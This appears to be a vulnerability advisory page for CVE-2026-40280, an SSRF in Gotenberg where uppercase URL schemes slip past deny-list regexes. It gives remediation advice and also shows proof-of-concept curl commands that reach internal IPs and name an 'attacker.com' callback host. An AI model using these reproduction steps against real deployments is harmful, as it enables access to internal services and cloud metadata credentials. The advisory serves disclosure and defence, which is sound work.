Which versions of Gotenberg are affected by CVE-2026-40280?

Gotenberg versions 8.30.1 and earlier contain a critical Server-Side Request Forgery (SSRF) vulnerability that allows unauthenticated attackers to bypass security controls and access internal…. A patch is available.

How to fix or mitigate CVE-2026-40280?

Within 24 hours: Identify all Gotenberg instances in production and development environments; confirm version numbers against 8.30.1 or earlier. Within 7 days: Upgrade all affected Gotenberg installations to version 8.31.0 or later; validate that webhook and downloadFrom features reject uppercase URL scheme variations post-patch. Within 30 days: Conduct audit of webhook and downloadFrom request logs for exploitation indicators (uppercase HTTP://, HTTPS:// schemes); implement network segmentation to restrict Gotenberg egress to approved internal hosts only; review any sensitive data accessed via these features during the vulnerability window.

Gotenberg CVE-2026-40280

Q: What is the CVSS score of CVE-2026-40280?

CVE-2026-40280 has a CVSS 4.0 base score of 7.8 (High). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-27476 HIGH

Server-Side Request Forgery (SSRF) (CWE-918)

2026-04-30 https://github.com/gotenberg/gotenberg

GHSA-5q7p-7jgv-ww56

Google SSRF Docker

7.8

CVSS 4.0 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

7.8 HIGH

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Lifecycle Timeline

Re-analysis Queued

May 05, 2026 - 20:22 vuln.today

cvss_changed

Severity Changed

May 05, 2026 - 20:22 NVD

CRITICAL HIGH

CVSS changed

May 05, 2026 - 20:22 NVD

9.3 (CRITICAL) 7.8 (HIGH)

Source Code Evidence Fetched

Apr 30, 2026 - 17:47 vuln.today

Analysis Generated

Apr 30, 2026 - 17:47 vuln.today

Analysis Generated

Apr 30, 2026 - 17:30 vuln.today

CVE Published

Apr 30, 2026 - 17:19 nvd

CRITICAL 9.3

DescriptionGitHub Advisory

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline - lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass - uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" - bypass confirmed

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Fix

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Vulnerable Code

// See description for details

Steps to Reproduce

Set up the application using the default configuration
See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

AnalysisAI

Gotenberg versions up to 8.30.1 allow Server-Side Request Forgery (SSRF) against internal networks and cloud metadata endpoints via case-variation bypass of webhook and downloadFrom deny-lists. Remote unauthenticated attackers can use uppercase URL schemes (HTTP://, HTTPS://) to circumvent the default case-sensitive regex (^https?://) protecting private IP ranges; Go's net/url.Parse() normalizes schemes to lowercase during connection establishment, completing the bypass. The flaw affects two features added in commit 3f01ca1 (April 2026): webhook callback URLs and downloadFrom file fetching. Vendor-released patch version 8.31.0 available. CVSS 9.1 (Critical) with Changed Scope reflects potential access to instance metadata services (e.g., AWS 169.254.169.254) and internal APIs that return sensitive data in Content-Disposition headers. This is a regression of the pattern previously fixed in CVE-2026-27018 for the Chromium deny-list.

Technical ContextAI

Gotenberg is a Docker-based document conversion API written in Go, commonly deployed in containerized environments with access to Docker bridge networks (172.17.0.0/16 by default). The vulnerability exploits a mismatch between deny-list validation (case-sensitive regex matching in pkg/gotenberg/filter.go:FilterDeadline) and URL handling (Go's net/url.Parse normalizes schemes to lowercase before DNS resolution and TCP dial). The default deny-lists in pkg/modules/webhook/webhook.go:42 and pkg/modules/api/api.go:199 use the regex ^https?://, which only matches lowercase 'http' or 'https'. When an attacker supplies HTTP://172.17.0.1, the regex fails to match, the URL passes validation, and Parse() subsequently converts it to http://172.17.0.1 for the outbound connection. CWE-918 (SSRF) arises because the application makes HTTP requests to attacker-controlled URLs without proper validation against internal address spaces. The affected pkg:go/github.com_gotenberg_gotenberg_v8 package is the main Gotenberg server. This is a textbook normalization inconsistency vulnerability: defense logic applies one interpretation of the input while the downstream consumer (HTTP client) applies a different, normalized interpretation.

RemediationAI

Upgrade to Gotenberg 8.31.0 or later immediately. Docker users should pull gotenberg/gotenberg:8.31.0 or gotenberg/gotenberg:latest and redeploy containers (note: thecodingmachine/gotenberg images are discontinued per release notes). Version 8.31.0 introduces breaking changes including DNS resolution and IP validation before outbound requests, pinning connections to validated public IPs to prevent DNS rebinding, and defaulting --webhook-deny-list to block RFC1918/loopback/link-local ranges. If immediate patching is not feasible, apply the following compensating controls: (1) Use custom --webhook-deny-list and --api-download-from-deny-list regex patterns with case-insensitive flag, e.g., --webhook-deny-list='(?i)^https?://(127\.0\.0\.1|localhost|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)' to explicitly block private ranges; trade-off is increased configuration complexity and potential for regex errors. (2) Deploy network egress filtering at the firewall/security-group level to block outbound connections from Gotenberg containers to 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and fc00::/7; this defense-in-depth layer prevents exploitation even if application-level validation is bypassed, but does not protect against SSRF to localhost services on the Gotenberg container itself. (3) In AWS/GCP/Azure, enforce IMDSv2 (session-token-required metadata access) to limit metadata exfiltration; this reduces impact but does not prevent the SSRF. Workarounds are partial mitigations only; the patch is the authoritative fix.